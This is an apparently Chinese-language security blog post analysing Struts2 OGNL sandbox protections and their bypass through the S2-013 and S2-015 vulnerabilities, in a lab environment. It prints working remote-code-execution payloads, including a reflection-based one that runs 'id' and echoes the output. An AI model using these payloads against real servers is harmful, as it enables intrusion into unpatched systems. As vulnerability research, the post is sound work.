这篇文章的重点不在于分析漏洞,而是通过漏洞去分析struts2沙箱的防护以及绕过,注意本文的struts2的版本范围与漏洞影响的范围是不对应的,只是顺序问题。
然后本文环境是使用的kingkk师傅仓库的https://github.com/kingkaki/Struts2-Vulenv/tree/master/S2-015
s2-013
payload
${(#_memberAccess["allowStaticMethodAccess"]=true).(@java.lang.Runtime@getRuntime().exec('open /Applications/Calculator.app'))}
这个漏洞的调用堆栈是这样的
这个洞的原因呢是struts2的标签中 <s:a>
和 <s:url>
都有一个 includeParams 属性,这个属性可以设置为
none - include no parameters in the URL (default)
get - include only GET parameters in the URL
all - include both GET and POST parameters in the URL
问题出现于这种标签解析的过程注入了OGNL表达式,当为all
的时候payload可以get和post,当为get的时候只能利用get请求触发,当为none的时候不会触发。
struts2-2.3.14.1之前
在一开始我们关注allowStaticMethodAccess
,因为它默认为false,阻止了我们去调用静态方法,SecurityMemberAccess
类中定义了这些操作,然后它继承自DefaultMemberAccess
我们再来了解下什么是_memberAccess
,在OgnlContext包里面
然后可以看到调用到
public class DefaultMemberAccess
implements MemberAccess
{
public boolean allowPrivateAccess = false;
public boolean allowProtectedAccess = false;
public boolean allowPackageProtectedAccess = false;
public DefaultMemberAccess(boolean allowAllAccess)
{
this(allowAllAccess, allowAllAccess, allowAllAccess);
}
public DefaultMemberAccess(boolean allowPrivateAccess, boolean allowProtectedAccess, boolean allowPackageProtectedAccess)
{
this.allowPrivateAccess = allowPrivateAccess;
this.allowProtectedAccess = allowProtectedAccess;
this.allowPackageProtectedAccess = allowPackageProtectedAccess;
}
明显看出这里控制能访问哪些函数,然后有个地方我没有调试清楚_memberAccess
和SecurityMemberAccess
之间是如何是建立起共享属性的,文章https://paper.seebug.org/794/#32-struts-2320
写了调试的过程。
但是我们可以知道通过ongl调用全局属性_memberAccess
来修改掉allowStaticMethodAccess
,那么我们就可以去调用类静态方法。
对于s2-013来说,payload如下
${(#_memberAccess["allowStaticMethodAccess"]=true).(@java.lang.Runtime@getRuntime().exec('open /Applications/Calculator.app'))}
S2-015
payload
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}.action
这个漏洞产生于在配置文件中,配置了action通配符为*
,并且动态解析的时候,内容作为OGNL注入了
<package name="S2-015" extends="struts-default">
<action name="*" class="com.demo.action.PageAction">
<result>/{1}.jsp</result>
</action>
</package>
这个配置可以让我访问*
的时候去访问对应的jsp页面
漏洞就出在了跳转jsp页面的动态解析过程,看下调用堆栈
然后不细讲了,看一下关键部分即可,在struts2-core-2.3.14.2.jar!/org/apache/struts2/dispatcher/StrutsResultSupport.class
public void execute(ActionInvocation invocation) throws Exception {
this.lastFinalLocation = this.conditionalParse(this.location, invocation);
this.doExecute(this.lastFinalLocation, invocation);
}
这里是初步处理完的跳转,然后进入conditionalParse
方法进行二次处理
在后面我们看到熟悉的处理函数
然后经过熟悉的格式处理到达
RCE了,大概漏洞流程是这样,重点还是分析沙箱的绕过。
struts2-2.3.14.1-struts2-2.3.20
在到版本struts2-2.3.14.2
时,看diff
将allowStaticMethodAccess添加了final
修饰符,删除了setAllowStaticMethodAccess
没办法直接修改了,那么如何如何绕过呢,看网上的payload
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}.action
在我测试过程中发现xwork.MethodAccessor.denyMethodExecution
本来就是false,所以payload为
${#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())}.action
这个思路是利用反射机制去调用和操作私有域和方法,详情看文章https://www.cnblogs.com/ixenos/p/5699420.html
,然后突破了final,然后后面就是构造的回显了
output: 123
参考:
https://paper.seebug.org/794/#32-struts-2320
https://www.anquanke.com/post/id/161690
https://blog.semmle.com/ognl-apache-struts-exploit-CVE-2018-11776/
http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities/#S2-015
没有评论